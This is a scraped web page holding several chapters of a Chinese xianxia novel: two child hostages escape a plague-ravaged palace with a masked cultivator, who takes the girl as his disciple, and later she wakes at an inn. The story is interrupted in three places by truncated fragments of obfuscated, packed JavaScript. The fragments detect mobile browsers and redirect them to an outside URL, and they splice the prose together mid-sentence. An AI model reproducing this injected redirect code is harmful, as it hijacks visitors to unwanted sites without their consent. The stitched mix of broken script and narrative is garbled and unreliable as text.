RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273311|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“该不会是刺客吧?”乔天璇小声怀疑。 “刺客怎么会来我们这儿?”陈渊龙不解。 乔天璇道:“我们这儿破烂,他估计是杀累了,又为了不被发现,便跑来我们这破烂地儿歇息。” 陈渊龙道:“可质子住的地方肯定是严加看管的,他……” “你忘了?瘟疫啊,宫里很多宫卫估计也被传染了疫病,人人自危,人手不足,大晚上的,怕是没人来守着我们这儿了。”乔天璇的声音虽然小,但完全不妨碍她语气的兴奋。 “说得也是。”陈渊龙若有所思。 片刻后,那人没有了动静。 又过了片刻,外面依旧没有任何动静。 乔天璇忍不住道:“不会真的是刺客吧?那这刺客杀的会是谁?朔风国的皇帝吗?” 陈渊龙道:“若真是来刺杀朔风国的皇帝,那这刺客倒是给我们帮了大忙了。” 窗外万籁俱寂,没有一丝人声。 “睡觉吧,也不知明日又会有谁的死讯。”乔天璇凑近了陈渊龙的怀中。 不知为何,她心觉高兴和欢喜,突然就很想钻进陈渊龙的怀中。 陈渊龙立马紧紧抱住了怀中的乔天璇,在她耳边暗声道:“等到宫里的人差不多都死光了,我们就想办法逃出去。就算在逃亡的路上死去,也好过在这里默默等死。” 乔天璇在陈渊龙的怀中闷闷道:“好,肯定是要逃的。只要朔风国皇室的所有人都死了,就没有谁能拦着我们了。” 许是因为晚上院子里的动静,乔天璇早上醒得很早。 陈渊龙也醒得比平日要早,两人下榻后心领神会地齐齐去开了房门,见到院子里的石井旁放着用来打水的桶变了位置。 毫无疑问,昨晚那个来到这儿的人的确是用桶打水来喝了。 除此之外,院子里没有任何变得可疑了的地方。 乔天璇道:“看来昨晚那人的确就是个杀人杀渴了的刺客。” 陈渊龙道:“我出院门去看看外面的情况。” 乔天璇道:“我也去。” “嗯。”陈渊龙抓紧了乔天璇的一只手,与她一同出了院门。 只见平日不远处负责看守这座宫殿的宫卫只剩下了四个人,而且有三个人都在打瞌睡。 “果然,看守我们这儿的宫卫变少了。”乔天璇记得以前可是有二十个宫卫在不远处看守着此处的。 真没想到这场瘟疫已经到了如此严重的地步,即使皇宫已经算是朔风国在这场瘟疫中最安全的地方了,但还是死了如此多的人。 “喂,送饭的宫女还没有来,你们赶快回去!” 那个没打瞌睡的宫卫朝着双双踏出了院门的陈渊龙和乔天璇大喊。 顿时,其余三个打瞌睡的宫卫都清醒了过来。 “再等等吧,送饭的宫女还没来!” “再睡会儿不好吗?” “就是,快回去!” 四个宫卫满脸横肉,凶神恶煞,仿佛催命鬼一般。 陈渊龙赶忙拉着乔天璇退回了院子里。 “凶什么凶,狗仗人势,也不看看自己的主子都已经病入膏肓了,还这么凶恶。真是的,很快你们也会被传染得病死掉的。”乔天璇不服气地咒骂。 “都不是好东西,迟早死完。”陈渊龙眼神阴沉,转头看向乔天璇时眼神立马柔和了许多。 “怎么了?”乔天璇疑惑地看着突然看向了自己的陈渊龙。 陈渊龙在乔天璇的耳边道:“守着我们的人少了,之后肯定还会更少。到时候没人守着我们了,我们就一起逃出去。” “好。”乔天璇猛地点了点头。 两人齐齐来到了院子里的石井边,乔天璇刚想打桶水来洗漱,目光就立马被桶里的一块小石头所压着的一张小纸条吸引了过去。 “这是……”乔天璇赶忙拿起了那张小纸条,在看到小纸条上所写的内容后顿时惊得瞪大了双眼。 87. 瘟疫袭来(二) “再等等,马上就来救你们。”乔天璇忍不住小声念了出来。 陈渊龙镇定道:“是昨晚那人写的。” “难不成那人不是刺客?而是……神仙?”乔天璇满脸不可思议,猜测道:“那神仙会是九宸国的吗?又或者是九宸国那边得知了朔风国这边的消息,宫中派人来救我们了?” “应该不会。”陈渊龙眼中一沉,暗暗道:“宫中想我死的人可不少,我要是真的死在这儿了,反倒真是如了他们的愿。” “……” 乔天璇心中也是微微一沉。 是啊,皇后潘氏得宠得很,二皇子陈玄子凭母贵,太子陈渊龙早已丧母,皇上也不宠他,他在朔风国的安危皇室中人根本无人在意。 即便陈渊龙顺利回了宫,他若想要在宫中保住性命站稳脚跟,还需得再费一番力气才行。 既然陈渊龙处在如此境地,那她乔天璇在回到九宸国后真的能够保住自己的性命吗? 就算她一时保住了性命,可她日后保不齐还是会被皇室中人随便找一个理由安一个罪名搞死。 两人默默地在石井边站了一会儿,一时间感到无比的迷茫,一直到听到了来送饭的宫女的脚步声才回过神来。 乔天璇赶忙把小纸条放入怀中,与陈渊龙一同去拿早饭。 而来送饭的宫女一开口就给两人带来了一个重大的消息。 朔风国皇帝死了,病入膏肓的二皇子穆泽被迫登基主持大局。 可得了疫病的穆泽又如何能够担此重任?他浑身化脓溃烂地瘫在皇位上,散发着阵阵恶臭,已然气若游丝。 除此之外,朔风国的皇氏中人已经在昨晚全数咽气。 然而即便只剩下了一个穆泽,其余人也无力在这场瘟疫中夺位了。 但凡有些能耐的人,全都染上了疫病,病症就如穆泽那样,令人光是远远瞅上一眼便忍不住感到恶心和胆寒。 而更令人绝望的是,太医也病死了。 至于从宫外寻医,那根本就寻不到。整个朔风国死气沉沉,毫无生机。别说医者了,就连狗都不见一条。 “这次可能是我来给你们送的最后一顿饭了,今晚我就想办法逃出去。”宫女悄声说着,生怕自己说的话被除了陈渊龙和乔天璇以外的人听到。 乔天璇道:“那不就没人来给我们送饭了吗?” 宫女道:“我不见了,肯定会有别人来顶替的。要是没有,你们也想办法逃吧,我不想死。” 陈渊龙道:“你很清楚宫外的情况吗?” 宫女无奈道:“就算不清楚,也得逃。要不然等那刚登基的二皇子归西了,我可就……” “走!全都去大殿,皇上出事了!” 一条宫道中忽然跑来了一个职位稍高的宫卫对不远处那四个负责守着陈渊龙和乔天璇暂住的宫殿的宫卫下了命令。 “是!!!” 宫卫们当即齐齐前往了大殿。 “估计是驾崩了……朔风国要完蛋了。”宫女神色一慌,急忙道:“你们保重,我改主意了,现在就逃。” 说完,宫女惶急转身快步离去。 乔天璇看着宫女跑远的背影,心中也是一慌,口中却道:“先吃饭。” “嗯,先吃饭。”陈渊龙点了点头。 两人把早饭端到了房内的桌上吃了起来。 不管怎么说,还是得先吃些东西才行。 就算要逃,也得有力气逃。 刚吃完早饭,院子里便传来了人的脚步声。 乔天璇连忙跑到房门口,见到院子里多了一个负剑的蒙面白衣人。 用来蒙面的黑布遮住了白衣人的大半张脸,再加上白衣人头上戴着一个尖顶的黑色斗笠,乔天璇根本就瞧不清这白衣人长什么模样。而蒙面白衣人负着的剑也被黑布牢牢裹了起来,仿佛这把剑见不得光似的。 乔天璇下意识问道:“你是来救我们的神仙吗?” 蒙面白衣人道:“我不是神仙。” “你是何人?”陈渊龙也来到了房门口。 蒙面白衣人大步走到两人身前,蹲下了身子,道:“我是来救你们出去的人。” “当真?”陈渊龙似是有点不敢相信自己听到的话。 “自然当真。”蒙面白衣人站起身来,从腰间挂着的一个储物袋中取出了一把大大的黑伞。 “伞?”乔天璇有些疑惑。 蒙面白衣人道:“这把伞可以让人暂时隐去身形,到我的伞下来,我带你们逃出去。” “好厉害的法器,你真的是神仙?!”乔天璇连忙跑到了蒙面白衣人的伞下。 陈渊龙立马紧随乔天璇。 两人分别跟在蒙面白衣人的左右两旁。 蒙面白衣人没有执伞的那只手掐了个诀,下一刻,伞便将伞下的三人都隐去了身形。 “我不是神仙,我只是个修仙之人。逃出去的期间你们不要说话,这把伞虽然能够隐去人的身形,但隐去不了声音。” 说罢,蒙面白衣人带着身旁的两人往院子外走了去。 陈渊龙道:“为何要救我们?” 蒙面白衣人道:“赎罪。” “赎罪?”乔天璇不解。 蒙面白衣人低头看了乔天璇一眼,似是有些难过。 在蒙面白衣人带着两人跨出宫殿的院门之前,他对乔天璇暗声道了一句:“对不起。” “嗯?”乔天璇不明白蒙面白衣人为何无缘无故地要给自己道歉。 但现在三人已经走出了院门,乔天璇知道伞隐去不了声音,便也没再继续追问蒙面白衣人。 蒙面白衣人看起来好像很熟悉朔风国皇宫的路线,他走得顺畅无比,在每个分叉的宫道口都能毫不犹豫地选择要走的宫道,而且没有一次是走错的。 乔天璇心中暗想他昨晚该不会是来踩点的,而非刺杀?以至于踩点踩到口渴了,这才来她和陈渊龙暂住的宫殿里打水喝? 可这样来说,那他岂不是早就已经知道了她和陈渊龙暂住的地方? 那他是如何知道的啊? ……对了,他说他是修仙之人,修仙之人肯定神通广大,自然会有他们的办法。 乔天璇顿时感到了一种前所未有的心安。 蒙面白衣人带路,三人走的都是无人的偏僻宫道。 皇宫本来就大,宫道也多,三人走了许久才从一处无人看守的小门出了宫。 一出宫后,映入三人眼帘的是一片萧瑟荒寂的画面,一丝人声都听不到。 乔天璇和陈渊龙默默跟着蒙面白衣人一路走着。 路边随处可见面目全非的尸体,看起来与给乔天璇和陈渊龙送饭的宫女对染上了疫病的穆泽的病症形容别无二致。 “呕……” 乔天璇忍不住想吐。 一些尸体可能已经在路边躺了好几天了,长满了密密麻麻蠕动着的蛆虫。 蒙面白衣人没执伞的空手从怀中摸出了一个白色小药瓶递给了乔天璇,小声道:“吃一颗就好了。” “嗯。”乔天璇连忙打开了瓶塞,倒了一颗淡绿色的药丸在手中,将这药丸一口闷了。 不出两息,乔天璇立马感觉好多了。 她把瓶塞重新塞上,把药瓶递回给了蒙面白衣人。 蒙面白衣人接过药瓶放回怀中,继续一言不发地带着两人往前走去。 乔天璇发现蒙面白衣人所走的都是隐蔽的小路,之前她和陈渊龙被关在囚车里游街时所经过的那些大街全都没有走。 想来应该是小路走得快。 毕竟他们得赶紧离开瘟疫肆虐的朔风国,离开的速度自然是越快越好。 接下来的路上,三人看到的尸体愈发恶心吓人,反倒是一些已经白骨化了的尸骨勉强还算没那么吓人。 傍晚,三人已经走出了朔风国的皇城,来到了皇城外一个安静的村子。 村子里寂静得连狗吠声都没有,只有两个破衣烂衫的小孩在村门口玩沙子。 蒙面白衣人看了那两个小孩一眼,带着乔天璇和陈渊龙径直走进了村子里。 村子里看起来稍微富裕一些的人家全都挂着白布,以示家中有丧事。 毫无疑问,死去的人基本上都是因瘟疫而死。 乔天璇心觉自己果然猜得没错,感染疫病的都是富有和稍微富有的人家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280938|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想来疫病的传染源就是有钱人才能吃得起的山珍海味了。 蒙面白衣人带着乔天璇和陈渊龙走进了村尾一家空置的屋内,将伞收好放回了储物袋中,道:“今晚就在这里暂住吧,明日一早我们继续启程。” “好。”乔天璇点了点头。 蒙面白衣人走到屋内的榻边,掐诀使了一个净尘咒。 满是灰尘的榻瞬间变得干干净净。 “今晚你们两人就在这张榻上挤一挤吧。”蒙面白衣人分别看了乔天璇和陈渊龙一眼。 乔天璇见这屋内又小又窄,只有一张榻,不禁担忧道:“那你呢?” 蒙面白衣人从储物袋中取出了一条绳子,忽地使出法术让绳子自己绑在了顶上的两条房梁之间。 乔天璇与陈渊龙的目光顿时都落在了那根自己绑在了顶上的两条房梁之间的绳子上。 “哇……”乔天璇震惊无比。 这蒙面白衣人居然会凭空御物! 不过他说自己是修仙之人,而且看起来真的很厉害的样子,会凭空御物倒也不奇怪。 想罢,乔天璇对这蒙面白衣人更加佩服了。 紧接着,蒙面白衣人轻轻一摘头上戴着的斗笠,猛地一跃,稳稳当当躺在绳子上面,随即又一手把斗笠放到了腹上,背对着底下的两人道:“我睡绳子。” “哇啊……”乔天璇仰着脑袋,简直都要看呆了。 躺在绳子上的蒙面白衣人背对着地上的两人道:“饿了吗?” “饿了!”乔天璇连忙答应。 走了一整日了,怎么可能不饿? “我方才已经把干粮放在榻边的桌子上了,你们两个分着吃吧。”蒙面白衣人反手朝榻边的桌子一指。 乔天璇顺着蒙面白衣人指着的方向望去,果然看到了一个纸包中放着一块被掰成了两半的饼。 陈渊龙赶忙将饼拿来,与乔天璇一人一半吃完了。 外面的天很快就完全暗下来了,乔天璇和陈渊龙挤在屋内的榻上,相互依偎着睡去。 翌日,蒙面白衣人一大早就把榻上的两人叫醒,让两人又分吃了一块饼,吃完后便上了路。 三人在伞的隐身下出了村子,继续往离开朔风国的路线前行。 距离朔风国的皇城越远,路就越来越难走,路两旁的景象也越来越荒凉,许久才能看到一个村子。但路边的尸体却是越来越少了,尤其是那些极度穷苦的村子,反而挺多活人的,村口还能看见好几个老妪在叽叽喳喳地聊天。 夜里,乔天璇望着房梁之间背对着自己和陈渊龙睡在绳子上的蒙面白衣人,疑惑道:“仙人,你觉得朔风国这场疫病的传染源是什么?” 蒙面白衣人道:“不知。” 乔天璇思索道:“那些富裕和稍微富裕一些的地方都死了很多人,甚至死光了人,反倒是非常穷苦的地方死人少,甚至不死人。我猜应该是人们吃的食物出了问题,而传染源就藏在那些只有有钱人才能吃得起的山珍海味中。” 蒙面白衣人道:“或许是吧。天黑了,快睡吧,明日一早还得起来赶路呢。” “哦。”乔天璇连忙钻进了陈渊龙的怀中。 陈渊龙立马紧紧抱住了怀中的乔天璇。 今晚,三人宿在了一片竹林边被废弃已久的其中一间看起来稍微没有那么破烂的竹楼里。 屋外时不时传来竹子摇曳的声音,吱嘎吱嘎响。 三人连续不断地赶路赶了差不多一个月,终于来到了朔风国与九宸国接壤的边境处。 所有在边境处镇守国土的朔风国边军早已因瘟疫死了个精光。此地寂静无声,弥漫着一股浓浓的死气。 恰逢下大雨刮大风,蒙面白衣人带着乔天璇和陈渊龙一起躲到了不远处一座荒废的小庙里。 天色不早了,风雨也没有要停的意思。三人一起靠在小庙的一处角落中,打算就这么凑合过一晚。 小庙外有一棵瘦弱的枯树,枯树在风雨中摇摇晃晃,仿佛下一刻就会倒下一般。 乔天璇缩在陈渊龙的怀中,听着庙外的风雨声,却是睡得香甜。 明日,他们就能彻底离开朔风国了。 88. 瘟疫袭来(三) 翌日一早,三人一回到九宸国后,蒙面白衣人就从怀中掏出一袋银子塞进了陈渊龙的手中,道:“殿下,我们已经回到九宸国了。你用我给你的钱去雇一辆马车和一个马车夫送你回宫,余下的钱也足够你一路的衣食住行。乔天璇这女娃娃天赋好得很,我便带她去一处仙岛上修仙去了。” “你……”陈渊龙看着蒙面白衣人的双瞳骤然一缩。 “好,我愿意!我要修仙!”乔天璇心中喜悦至极。 她做梦都想要有这一天。 她终于可以修仙了! “可是……”陈渊龙满脸不舍。 蒙面白衣人拉紧了乔天璇的一只手,对陈渊龙道:“殿下,现在的你在宫中无权无势还失宠,根本就保护不了她。而以她的天赋来看,只要肯努力修炼,日后绝对是个绝世天才,想必化神都不成问题。你回宫吧,我和她就先行一步了。” 说罢,蒙面白衣人带着乔天璇后退几步,远离了陈渊龙,让陈渊龙离开了伞的遮挡。 陈渊龙一出伞便失去了伞对他的隐身法术。 与此同时,他也在一瞬间看不到伞下的蒙面白衣人和乔天璇了。 “天、天璇?天璇!天璇!天璇!天璇!!!”陈渊龙突然不见了乔天璇,登时脸色骤变,惊慌失措。 蒙面白衣人拉着乔天璇一路退到了一个角落中,两人一起看着陈渊龙从最初的惊慌失措四处张望到逐渐冷静下来后的泪流满面。 “天璇……”陈渊龙不甘地喘息抽泣着,喃喃道:“都是我没用,我没用,我没用……都怪我……怪我,如果我……如果我……” “……” “啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊——” 陈渊龙突然仰天长吼,仿佛是在发泄自己心中的不甘和无奈。 “叫什么叫,吵死了!” “是个男娃娃?” “怕不是哪家的孩子做了错事,家里人打了他,他气嘞。” “啧,顽童一个。” “子不教,父之过,肯定是他爹教得不好。” “就是,死小孩,一看就是个不好管教的。” “……” 路过的人对着突然仰天长吼的陈渊龙指指点点。 陈渊龙却像是什么都没有听到似的,转身慢慢步至路边的一棵树下,靠在了树上,低头踢着脚边的几块石子儿。 约莫过了一刻钟后,陈渊龙忽地猛扇了自己几巴掌,缓缓抬头望向前方,默默离开了靠着的树。 蒙面白衣人和乔天璇跟在陈渊龙的身后,一直看到陈渊龙垂头丧气地照着蒙面白衣人所说,用他所给的钱雇了一辆马车和一个马车夫启程回宫。 “他终于回宫了。”乔天璇望着陈渊龙所乘的马车一晃一晃地驶往了京城的方向。 “你也该随为师去修炼了。”蒙面白衣人低头看向乔天璇,满眼温柔。 乔天璇忽地一愣,慌忙抬头望向蒙面白衣人。 蒙面白衣人扯下了蒙着面的黑布,露出了他俊秀温润的脸庞,道:“为师名唤洛侠。” “师……那我是您的徒儿了?”乔天璇的心激动地“砰砰”快跳。 洛侠松开了拉着乔天璇的手,并把那只手背到了身后,郑重其事道:“对,从现在开始,你便是我收的徒儿,而且还是我收的第一个徒儿。” 乔天璇当即兴奋地拜在了洛侠的身前,恭恭敬敬地行起了拜师礼,欢喜道:“师父在上,请受徒儿一拜!” “好,为师接受了。”洛侠蹲下身子伸手拉了乔天璇起身,道:“走,为师带你去吃好吃的。” “嗯嗯!”乔天璇连连点头。 两年了,她在朔风国没有过过一天好日子,更别说吃好东西了。如今终于回到了九宸国,她可不得好好大吃一顿? 洛侠带着乔天璇来到角落处,将能隐身的伞收好放回了储物袋中,随即又带着乔天璇光明正大地走回到了大街上。 清早的阳光很温和,既不算太晒又能让人感觉到温暖。 这些日子洛侠一直执着伞,让三人隐身于伞下,乔天璇基本上就没晒过太阳。现在突然一下晒到了太阳,乔天璇倒是有些不适应了。 不过不适应也就只是一会儿的事情。 刚从死气沉沉瘟疫肆虐的朔风国回到九宸国,沐浴在清晨的阳光中的乔天璇看着就算位于九宸国边境处也繁荣无比的街道,好奇又兴奋地四处张望着。 看着大街上也如她一般被长辈牵着手往前走的小孩,乔天璇心中顿时涌出了一股强烈的喜悦。 她终于也是能被长辈牵着手走路的小孩了。 突然,乔天璇闻到了一阵飘香的羊肉味,当即嘴馋道:“师父,我想吃羊肉!” “好,那我们就去吃羊肉。”洛侠循着羊肉味望向了一家羊肉面馆,立马带着乔天璇往那家羊肉面馆走去。 刚步入羊肉面馆的大门,乔天璇就感觉那股浓郁的羊肉味简直像是一块湿透了的毛巾一样,牢牢覆在了她的脸上和身上。 她贪婪地呼吸着羊肉面馆里的空气,恨不得把空气中所有的羊肉味都当羊肉给吃了。 洛侠挑了一处空位与乔天璇面对面坐了下来。 羊肉面馆的小二连忙赶到了两人的桌旁,热情道:“不知二位客官想吃什么?” 乔天璇道:“羊肉面,要好多的羊肉!” 洛侠道:“那我也要一碗羊肉面,再给我们上一份大盘的烤羊肉。” “好嘞!”小二赶紧转身去了后厨。 乔天璇歪头看着面馆里其他在吃东西的食客,不禁直咽口水。 一些跟乔天璇和洛侠一样刚来到面馆里的食客在跟小二点完菜后闲着无聊,便谈论起了关于朔风国瘟疫的事情。 “你们听说了吗,隔壁朔风国已经灭国了哎。” “朔风国的那个瘟疫也不知是怎么来的,连皇宫里的人都死光了。” “惨得嘞,死气沉沉一片。” “据说得了那个疫病的死相恶心得可怕呢,浑身流脓、溃烂、腐烂、穿孔、长蛆!” “停停停停停停,你可赶紧别说那个病症了,等会儿还怎么吃得下东西啊?” “对对对,太恶心了,快别说那个了。” “我是觉得朔风国的皇族全都是这个死法,当真是大快人心!” “那倒的确是大快人心!” “报应,这就是报应!谁让他们之前总是跟我们打仗,杀了我们那么多人!” “嚯!不久前才说是又要开战了呢。” “哎嘿!这不,还没开打,他们就先自己死绝了。” “话说要不是两年前太子殿下去朔风国当了质子,我们这儿怕是早就已经沦陷了。” “也不知太子殿下现在在朔风国如何了……” “但愿太子殿下能够平安无事吧。” “唉,太子殿下能够平安无事都得算是奇迹了!” “是啊,瘟疫可不是说不想被染上就能不被染上的。” “只是朔风国皇宫里的人都死光了,那包不包括在那儿当质子的太子殿下啊?” “这……” “……” 乔天璇转头看向了坐在自己对面的洛侠,眨了眨眼。 洛侠微微一笑,低声道:“不久之后,整个九宸国估计都会被殿下突然回宫的事情给震惊到。” “可不是嘛。”乔天璇回想着方才陈渊龙被迫与她分别时的情景,倒是有些想念陈渊龙了。 如果只说身份,陈渊龙毫无疑问的确是个不错的太子。只是他在宫中的处境堪忧,即便真的顺利回宫了,他要面临的挑战也才刚刚开始。 两年了,二皇子陈玄和皇后潘氏肯定变得更加不好对付了。除非皇后潘氏在这两年里失宠了,陈玄跟着他的母后一起失宠,陈渊龙估计才能重新得到皇上的重视。 可要是皇后潘氏没有失宠,陈玄也在这两年里组建了属于自己的势力,那陈渊龙就得好好想办法才能让自己绝处逢生了。 不过皇上应该会看在陈渊龙去朔风国当了两年质子的份儿上稍微多关照陈渊龙一些的。 毕竟陈渊龙不管怎么说都是皇上的孩子,若是陈玄还跟从前一样,依旧烂泥扶不上墙,皇上说不定会在陈渊龙和陈玄的对比下愈发觉得陈玄令他失望,陈渊龙亦能凭借实力重新得势。 正想着,羊肉面和烤羊肉被小二给端了上来。 喷香扑鼻的羊肉味猛地直钻乔天璇的鼻孔。 “开吃了。”洛侠满脸笑意地看着对面拿起筷子准备吃羊肉面的乔天璇。 “好,开吃!”乔天璇率先夹起面上铺着的一片羊肉塞进了嘴里,含糊地回应着洛侠。 洛侠把一旁盘子里的其中一大块烤羊肉夹到了乔天璇的碗里,道:“多吃些,长高高。” “嗯嗯!”乔天璇狼吞虎咽,大口大口吃肉,大口大口吃面。 她简直不敢相信自己之前在朔风国过的都是什么苦日子,自己到底是怎么熬过来的。 若是师父能够天天让她吃好吃的,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不久前还在死气沉沉的朔风国,现在已然置身于繁华的九宸国,乔天璇简直感觉恍若隔世。 两日后,午时,乔天璇和洛侠正在一家馆子里吃羊羹,忽然听到隔壁桌议论起了妖怪之事。 乔天璇转眼望去,竟是见到了几个围坐在一起吃饭的蓝衣修士。 “哎,那个雨琼岛的灵气据说都被一只可怕的妖物给吞光了。” “可不是据说,我师姐亲眼去见过,那只妖物还爱吃人!” “你们的消息也太落后了吧?我听说那只妖物都已经跑到东海的仙落岛上吃人去了!” “东海的仙落岛?” “是啊,仙落岛。” 洛侠眉头一紧,低声对乔天璇道:“我们不去雨琼岛了,改去仙落岛。” “好,师父说去哪儿就去哪儿。”乔天璇继续吃着羊羹,却莫名觉得脑袋有些发昏。 果然,吃过午饭之后不久,乔天璇突然感觉浑身不适,额头滚烫,猝不及防发起了高烧。 洛侠连忙带乔天璇去医馆看了郎中。 据郎中所诉,乔天璇之前遭奸人所虐,且持续了很长的一段时日。她因意志坚强和身怀一股不知该如何形容的力量,一直在拼命帮她忍着远远超出她身子所能承受的劳作,本该发作的病也被一直强压着。可最近一段时日,她整个人彻底放松下来了。尤其是这两日,极其放松。于是,那根紧绷的弦忽地断了,之前本该在虐待之下得的病现在立马一股脑全都集中爆发了出来,令她高烧不退。 “说得是啊……”乔天璇整个人迷迷糊糊的,感觉昏天黑地。 这两年来她在朔风国遭的罪的确太多了,尤其是她为了不让陈渊龙挨打,这两年来在院子里来来往往反反复复地搬砖这事儿。 乔天璇也好奇自己居然没有生病,原来是身子在慢慢积累,就等着现在这一下突然爆发呢。 郎中慢悠悠道:“没事儿,好好修养,按时按量吃药,最终还是能好的。只是这期间所需的时间嘛……” 洛侠严肃道:“只要能让她病好,时间不是问题。” “那就成!”郎中拿了一张纸递给了洛侠,道:“就按着纸上面所写的去抓药,药自然是品质越好的药效也越好,但肯定会贵。” “行,贵也没关系。”洛侠接过了那张纸看了看,低头对怀中近乎昏迷的乔天璇道:“为师一定会让你好起来的。” 89. 再赴傅陵(一) 乔天璇猛然惊醒,看到了顶上的房梁和天花板。 梦?她做了一个很长的梦?而且还是噩梦? 不对,这不是噩梦,而是她脑海深处因极度痛苦而被尘封了好几年的一段记忆。 陈渊龙……他…… 乔天璇心口忽地一痛,下意识抬手按到了自己的心口上。 这一按,乔天璇立马回想起了陈渊龙曾经为她挡下的那一箭。 她把手缓缓从左胸口挪到了右胸口。 就是这个位置。 那支差点要了她的命的箭,就射穿在陈渊龙的这个位置。 而陈渊龙后背右边的箭伤在快要好全的时候,被朔风国太子穆耶颌在大冬天亲手用烧红的烙铁狠狠烙上了一个代表着耻辱的烙印。 自此,陈渊龙后背右边的箭伤不但永远都好不了了,还在伤上覆盖了一个大大圆圆的四只爪子、龙角、龙尾都断了一半的龙纹样焦黑色烙印。并且再也去不掉了。 “呀,你醒啦。” 一个熟悉的女声在身旁响起,随之映入眼帘的是一张中年女子的脸。 这女子编了满头细辫子,头上歪戴着一朵大红花,乔天璇一下子就认出来了她是谁,不禁惊道:“风云客栈的老板娘?!” 风云客栈老板娘道:“对呀,就是我。云天女侠,你总算醒了啊,你要是再不醒,我都怕你会从此一睡不醒了!” “一睡不醒?”乔天璇慌忙坐起身来,见到此处明显是一间客房,而自己正坐在客房中的一张榻上。 “对啊,你都已经在这儿昏睡了五天五夜了!”风云客栈老板娘连忙把榻旁桌上放着的一大盘烧饼和一碗水递给了乔天璇,心疼道:“女侠呀,赶紧吃点儿喝点儿吧,我这几日的白天可是每隔一个时辰就会来这儿看你一次,既担心你死了,又期待你醒过来。吃的喝的都给你准备好在边上了,就怕你一醒来就又渴又饿。” “多、多谢老板娘的关心。”乔天璇的确觉得自己腹中空空,口干舌燥,连忙一只手接过了那碗水,另一只手从盘子里拿了一个烧饼。 “看来我与云天女侠的确是有缘啊,居然真的又见面了。不过女侠怎么忽然就昏在了我们的客栈大堂了呢?”风云客栈老板娘满脸不解,把装着烧饼的盘子放到了榻上的空位。 “我……”乔天璇一时语塞。 说来话长啊。 风云客栈老板娘见乔天璇面露难色,赶忙安慰道:“没事,女侠还是先吃些喝些东西吧。昏睡了那么多天,肯定也不好受。” “好。”乔天璇立即喝了几口碗里的水,开始啃起了烧饼。 风云客栈老板娘看乔天璇吃得狼吞虎咽,乐道:“没想到我居然能有救云天女侠的一天,真是荣幸至极啊。” 乔天璇咽下口中嚼碎的烧饼,不好意思道:“应该是我麻烦你了,让你担心了我这么多天。” 风云客栈老板娘连忙道:“哪里的话啊,女侠总是在江湖中行侠仗义,到处救人,肯定累坏了。不过好人有好报,女侠昔日救人,那在女侠遭难的了的时候肯定也得有人来救女侠。女侠能醒过来,我高兴还来不及呢。之前我就说过,三侠行客能来我这儿,那可是大喜事儿,何来麻烦一说?” 乔天璇倒是被风云客栈老板娘说得有些不好意思了,不知该如何回话,只能默默吃饼喝水。 “对了,怎么只有女侠一人突然在五天前大驾光临?”风云客栈老板娘回忆道:“我记得女侠身旁还有好几个朋友跟着的。” 乔天璇已经把手中的烧饼吃了一半,点头道:“嗯,因为一点意外,我和他们分开了。” “意外?分开?你们吵架,分道扬镳了?”风云客栈老板娘满眼不可置信。 “事情有些复杂,等我吃完之后和你慢慢说。”乔天璇回想起在冀州发生的事情,无奈地叹了一口气。 “哦哦哦,行,女侠先吃饱喝足了再说。不着急,慢慢来。”风云客栈老板娘立马安安静静地坐在了榻边的一张椅子上,转头望向了窗外。 昏睡了五天五夜的乔天璇实在是饿极了,她吃完了手中的那个烧饼之后还是觉得不够饱,又接连从盘子里拿了六个烧饼,一共吃完了七个烧饼才感觉饱了。 看着盘子里还剩下的三个烧饼,乔天璇吃不下了,便拿起碗将剩下的水给“咕嘟咕嘟”喝了个干净。 放下碗后,乔天璇转头对风云客栈老板娘道:“我吃好了,现在便与你说说我们在冀州都发生了些什么破事儿吧。” 风云客栈老板娘立马转头看向了乔天璇,期待道:“好!我洗耳恭听!” 乔天璇深呼吸一口气,跟风云客栈老板娘从他们一行人刚踏入冀州那会儿,她发现冀州给人的感觉十分怪异,路上的行人全都是死气沉沉的样子,街道上安静得很,人们都不怎么说话开始说起。一直说到她用了九成的灵力强行拔除了陈渊龙体内的那根“线”后,她便因陈渊龙的“祈福”消失而忽地凭空来到了风云客栈中。 “不、不是吧?太、太子殿下居然、居然……冀州,二皇子、巫人、‘祈福’?还有‘线’?这、这太不是人干的事儿了吧?!”风云客栈老板娘一时间听到了太多对她来说不可思议的事情,被震惊得瞳孔猛缩。 “的确过分,平白无故害死了很多无辜的人。”乔天璇无奈地摇了摇头。 “而且我居然不知道太子殿下就在你们的队伍中!我简直是……唉!”风云客栈老板娘有些懊恼。 乔天璇无所谓道:“没关系啦老板娘,反正太子殿下也不希望有人能认出他的太子身份,这事儿没什么好遗憾的。” 风云客栈老板娘若有所思道:“不过云天女侠,先不说别的非人之事,我看这太子殿下分明是喜欢你啊!” “他……”乔天璇心头忽地一热。 不知为何,她在回想起来了自己与陈渊龙一起在朔风国受苦受难的那两年的记忆后,她竟是对陈渊龙这人有些不忍了。 风云客栈老板娘神色意味深长地凑到了乔天璇的脸旁,认真道:“若是太子殿下真的娶了你当太子妃,那可就不得了了,日后你还能当皇后呢!” “我、我这……”乔天璇的心狂跳。 